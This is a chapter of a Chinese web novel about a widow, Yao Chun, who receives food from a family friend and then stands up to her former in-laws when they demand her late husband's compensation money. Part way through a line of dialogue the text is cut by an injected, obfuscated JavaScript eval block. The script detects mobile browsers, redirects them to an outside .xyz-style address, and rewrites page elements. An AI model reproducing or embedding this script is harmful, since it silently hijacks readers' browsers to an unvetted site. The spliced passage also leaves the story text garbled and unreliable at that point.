唉,她什么时候才能穿上新衣服,姚椿扭头眼巴巴看向罗氏。 莫名读懂她眼神意思的罗氏:“……最快也得后日。” 姚椿也不纠结:“成!” 见骂了半天也没人应声,鸡汤面夫妻脸上恼意更甚,对此姚椿心里表示:去你大爷的!你姑奶奶我都懒得搭理! 每日做吃食卖已经够耗费心神了,对这样的小打小闹,只要不影响自己赚钱,姚椿一律不予理会。 她不在乎,罗氏却是个计较的,回去一路都在嘀咕那对夫妻,一会儿骂那男的蔫坏只管让婆娘出头,又说那妇人蠢什么都听自家男人,哈巴狗似的。 听得姚椿直乐。 “你还笑得出!”罗氏一脸恨铁不成钢,“人家都快指着你鼻子骂了。” 姚椿却道:“狗咬我一口难不成我还要咬回去?” 罗氏顿了顿,接:“你可以朝它们身上泼粪呐!” 姚椿:“?” 莫名有些道理啊。 就这样插科打诨,一行人经过石头村时,遇到了个熟人。 13. 知真相 说熟也不算很熟,至少姚椿第一下没反应过来,还是阿月喊了一声“郑宽哥”,她才从记忆里扒拉出这么一号人物。 郑宽,与原主丈夫纪满金关系尚可,因着俩人的关系,后来还娶了纪家二房的闺女,也就是纪满金的堂妹纪满玉。 此刻姚椿突然想起来原主被纪家以分家的名义赶出家门时,对方曾悄悄送来三斤粮食并六个鸡蛋。 纪满玉的孩子尚不足一岁,无论是母亲还是孩子都正需要鸡蛋补身体,还能给她们送来六个鸡蛋已经是很重的情了。 然而在原主记忆中,自从郑宽娶了纪满玉之后,纪满金与其的关系就淡了下来,现在细想俩人应该是故意在纪家那两个老家伙面前演戏呢。 纪老头阴着坏,李老婆子明着闹,几十年来搅得家里几个儿子关系一直不和睦,尤其是老大和老二兄弟俩,纪老大活着的时候和这位二弟几乎是三天一小吵五天一大吵,前者觉得后者不敬爹娘也不爱护小弟,有什么好东西只想着自己。 而纪老二觉得自己这位大哥脑子有病,被爹娘哄两句甜话就能把赚的私房钱全拿去给老四读书花费,简直蠢得挂相。 兄弟俩就这样互掐着到各自的孩子都长大成人、再到纪老大把自己给累死前一刻也没吵出个输赢来。 大概纪老头和李老婆子要的就是这样的效果,前三个儿子永远团结不起来,如此才能顺顺当当地供养他们的小儿子读书。 因此,为了不必要的麻烦,纪满金便主动与郑宽减少了往来,省得纪老头和李老婆子发现他与二叔一家走近了又要闹出什么动静来。 回想至此,姚椿心底有一万个无语,还能闲得学人家城里宅斗宫斗,看来还是不够穷。 “嫂子。”郑宽伸手摸了摸好友妹妹的脑袋,然后朝她身侧的女人喊了一声。 “你是满玉家的吧?”姚椿还没开口,倒是罗氏将人给认了出来。 郑宽笑笑应是,然后就看向姚椿道:“我去了山前村两趟,村口草屋那儿一直没人,你们这几天去哪了?” 今儿他本打算再去一趟,没曾想刚出门没走两步就瞧见身后隐约是熟人的身影,于是停下等候,发现果然是她们。 “这不是家里一直没有个进项,就想着去镇上看看能不能做个吃食买卖。”姚椿简单解释一句,“你去草屋找我们,是阿玉有什么事么?” 自从原主公婆死了之后,原主和丈夫纪满金与二房的关系便逐渐缓和,虽没有到极亲密的状态,但私底下还是有些往来的。 “阿玉没事,不过阿玉得知了前些日子发生的事有些不放心,所以让我过来看看你们。”郑宽解释。 结果第一日去草屋没看到人,吓得他还以为她们仨人出事了,去纪家问岳父岳母,然而他们也不知晓。 直到昨儿他傍晚下工后又去山前村,遇到小舅子在村里的两个狐朋狗友勾肩搭背地互相询问对方什么‘姚氏多还了你家多少粮’云云。 郑宽一听,当即按下俩人细问才知原来是县里对满金兄弟的事重新定了补偿事宜,得知此事他当下便松了口气,手里捏着补偿的人应该不会带着俩个孩子去做傻事。 当时天色已晚,打听到她们仨人如今暂住在罗氏家中后郑宽没急着过去,打算第二天再过来。 于是就有了此刻偶遇的场景。 “我们挺好的。”姚椿客气回道。 “没事就好。”郑宽干巴地回了一句。 他与满金关系不错,和姚氏却很少接触,多数都是从自家媳妇或满金口中听到她的名字。 想了想,郑宽忽然从怀里掏出一个纸包,从里头掏出两颗麦芽糖,依次递给阿月和平安,试图缓和一下:“吃糖。” 姑侄俩却没有立刻接,而是先看向姚椿。 郑宽:“……” 姚椿笑了笑,她能感觉得出郑宽话里话外的关切和善意,于是道:“接着吧,记得说谢谢。” 得了允准,姑侄俩这才小心翼翼接过麦芽糖,并和郑宽道谢。 总算把麦芽糖送出去的郑宽挠挠头,心道,也太客气了点。 “对了。”差点忘了,话说着他取下身后的背篓,从里头取出五斤粗粮半斤猪肉以及小舅子从纪家不劳而获的一斤大米,“这是阿玉让我送来给你们补一补身体的。” 接连两次没碰到人,原先的两斤粗粮和一斤大米也逐渐添至到这些。 如今在家门口碰到人也省得他再去一趟山前村。 姚椿没要,她道:“如今家里不缺吃喝,你拿回去给阿玉补身体吧。” “阿玉那份家里有。”郑宽不由分说地把东西塞上板车,“这些你们留着吃。” “没事我先回了,我和满金是兄弟,再有什么事记得让满银来家寻我。”郑宽指的是像前几日发生的那种事。 姚椿还没来得及再开口,他人就已经提起筐跑了。 罗氏半开玩笑道:“若是要追上去还,我可以帮你看会儿孩子。” 姚椿也很无奈:“先留下吧。”以后找机会再还。 她翻了翻郑宽留下的粮食和肉,忽然“咦”了一声。 “怎么了?”罗氏问。 姚椿顿了顿,摇头:“没事。” 就是她发现郑宽给的大米和她们之前吃的那份不知是谁送来的大米瞧着像是从同一个米袋舀的。 也有可能是她多想了。 一路小跑回到家中的郑宽抬眼就看到等在屋门口的妻子,脸上扬起笑意:“怎么在门口吹风,娘和小宝呢?” “娘抱小宝串门去了。”纪满玉欲帮他取背上的筐,郑宽没让,“我自己来。” “怎么回来这么快。”纪满玉问。 “我没去山前村。”褪了筐,郑宽接过媳妇倒的水,喝了一口才继续道,“在咱们村尾遇到你嫂子她们。” 没等纪满玉问,郑宽便将事情始末告知她。 “做吃食买卖?”说实在的,纪满玉听到这个事内心是诧异的,依大嫂的性子居然会选择去码头摆摊卖吃食,让她很是意外。 不过。 “这件事我爷奶他们知道不?” 郑宽摇了摇头:“应该不清楚,不然早闹过去了。” 纪满玉却担心:“怕是瞒不住,你得空去和爹娘说,让他们多注意注意,有什么情况也拦着些,别再像上回那样。” 郑宽应下:“行,我明儿就去。” “现在就去吧。”纪满玉皱眉,“大嫂还村里人粮的事瞒不了多久,估计爷奶很快就会知道大哥补偿金的事。” “他们一定会去大嫂那儿闹的。” 纪满玉的担忧并不是无的放矢。 姚椿几人刚回到罗氏家中,板车上的家伙什还没卸下,纪家就来人了。 李老婆子气势汹汹,身后跟着不情不愿的两个儿子儿媳。 罗氏皱眉:“你们想干什么?” “罗氏我劝你别多管闲事!”李老婆子冲了她一句,“一个老寡妇,边儿去!” 罗氏捏了捏拳头。 姚椿立马挡在罗氏前头,看向来人:“有什么事冲我来。” 李老婆子不客气道:“那好啊,赶紧把满金那死小子的补偿金给我!” “县里的补偿金你都敢偷偷昧下,还有没有把老婆子我放在眼里!” 她就说这几天草屋那边怎么一点动静也没有,要不是听到隔壁杨三婆子和儿媳妇吵架提到了姚氏,自己怕还要被蒙在鼓里。 满金的死县里居然给了补偿,可姚氏这个鬼心眼的居然一直瞒着这边,李老婆子当场火气就上来了。 姚椿冷起脸:“烦请你回去看看那份分家文书,我们两家已经断亲了。” 当初为了不让仨人继续赖着纪家,在纪老头的默许下,李老婆子可是再三强调让村长在文书上写上两家是以断亲的形式分家。 李老婆子才不管,什么文书她才不认! 纪满金是她亲孙子,哪怕死了也是!他的补偿金只有纪家才有资格拿。 她姚氏算个什么东西,一个没爹没娘的孤女。 “满金是我孙子,他的补偿金就有我一份。”李老婆子胡搅蛮缠一直强调这一点。 “我说李凤丫,你们家溪业都娶了镇上酒铺曾家的独女,怎么还会缺满金这点微薄的补偿金。”说话的是得知消息忙赶过来的李桂香。 李老婆子一路过来没遮没掩,不少人都看到了,有看纪家不顺眼又怜惜姚氏母女的立刻去了村长家报信。 得知李老婆子要去罗氏家闹,李桂香放下锄头就跑了过来,生怕姚氏几个会吃亏。 “是啊是啊,姚氏娘几个就指着满金这点补偿金了,人在做天在看,小心满金晚上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446611|185123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去找你。”看热闹的人群中不知谁说了这么一句。 姚椿一望,不知何时院门口已经聚了一波人,大多是住在附近的邻居,应该是听到了这边的吵闹声过来瞧瞧是怎么回事。 “关你们什么事!”李老婆子扭头朝身后喷了一句,“一个个闲得蛋疼啊你们!” “李凤丫。”忽然有人喊住李老婆子,她正疑心是谁,目光四下扫了扫,结果又听见同样一句,“李凤丫。” 姚椿喊的。 “你喊我什么?!”李老婆子仿佛嗓子劈了一般,不可置信。 姚椿淡定道:“我们两家已经断亲,你我之间无亲无故,不喊名字总不能让我喊你李老婆子吧。” 李老婆子气血上涌,指着姚椿的鼻子,半天“你”不出来。 她唰地扭头,怒瞪随自己一起过来的两个儿子儿媳:“老二老三家的,你们哑巴了?” 接到亲娘的目光,纪三河抿了抿唇,半天没出成功发出一个音。 倒是他媳妇孙芳目光犹疑,似乎想说什么,不过到最后也没说出口。 倒是纪二海嬉皮笑脸说了句:“这不是娘说得太精彩,儿子都听入迷了。” 他媳妇金玉香小声附和:“跟唱大戏似的。” 李老婆子耳朵不好:“老二家的,你胡咧咧啥子?” 纪二海油里油气地摸了摸下巴,替自己媳妇回:“玉香夸娘你中气足呢。” 姚椿挑眉,阿月这个二叔还挺有意思。 “李凤丫。” 听到她又喊自己名字,李老婆子脑壳抽抽。 结果还没张嘴,就听她又道:“纪溪业是在县学里读书吧。” 李老婆子立刻警惕。 姚椿记得纪家老四到现在都还只是个童生,原本是没有机会去县学读书的,直到娶了曾家独女曾芸儿后,曾家往县里使了关系才将他塞进县学。 只可惜纪溪业在县学待了五年,至今仍没有考中秀才。 姚椿觉得懿纪老四的天赋,也就到这了。 “今儿你若是从我这抢走满金留给我们娘俩的补偿金,明儿我就带着两个孩子披麻戴孝去县学,举着分家文书吊死在纪溪业同窗师友们面前,好让他们知道他纪溪业就是一个连堂妹侄女的活命钱都要抢的畜生东西。”反正她光脚的不怕穿鞋的。 “你——你敢!”心有顾虑的李老婆子气虚起来。 “使不得啊使不得。”有人出声劝道,“满金媳妇,别冲动啊!” 姚椿当即掩面落泪,一副脆弱之相浮出:“大丫娘,你也知道若不是被逼急了,谁会带着自己的亲生骨肉去死啊。” “娘呜呜呜~”本就被李老婆子一通吼叫害怕地躲在姚椿身后的平安听到自家娘哭的声音,再没忍住,跟着哭出了一双兔子眼。 阿月也没好到哪去,她拦在嫂子跟前,小兽一般凶狠的眼神瞪着李老婆子:“不许欺负我嫂子!” 看着瘦弱的娘仨抱团哭泣,再看一旁膀大腰圆的李老婆子,再只是单纯来看热闹的人心底的天秤也不经慢慢倒向姚氏一家三口。 天可怜见的,都被逼到什么份上了。 纪家这一大家子真不是东西。 一道道谴责的目光落向李老婆子一家子身上,纪三河孙芳夫妻俩被盯得脸色涨红。 纪二海和金玉香两口子天生的脸皮厚,丝毫不受影响,甚至还有空走神打哈欠。 “好了!一个个的在这闹什么,家里活计都不用做了?” 姚椿寻声,眯眼,果然是纪老头。 戏都快落幕了,他才现身。 看到来人,李老婆子张了张嘴:“我——” 纪老头打断她:“早就跟你说了,不管满金对咱们啥样,他都是我纪家的子孙,打着骨头连着筋,何苦为这点补偿闹这么难看。” 他又看向姚氏和两个孩子:“都怪我没拦住你们奶,没被吓着吧?” 话落后还想用手去摸一摸平安的脑袋,然而却扑了个空。 两岁的孩子喜恶都在脸上,谁带着善意谁又带着恶意,孩子心底能感受得到。 原本只是小声抽泣的平安忽然开始小脸惨白地哇哇大哭。 明显是被吓的。 纪老头尴尬地收回手,眼底闪过一丝羞恼。 果然和她那个短命爹一样讨人厌。